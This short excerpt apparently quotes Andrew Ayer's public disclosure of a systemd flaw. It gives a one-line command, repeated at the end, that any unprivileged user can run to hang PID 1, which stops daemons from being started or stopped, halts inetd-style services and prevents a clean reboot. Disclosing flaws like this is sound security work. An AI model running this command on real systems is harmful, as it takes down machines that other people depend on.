@Andrew Ayer:The following command, when run as any user, will crash systemd:NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""After running this command, PID 1 is hung in the pause system call. You can no longer start and stop daemons. inetd-style services no longer accept connections. You cannot cleanly reboot the system.
NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""
any user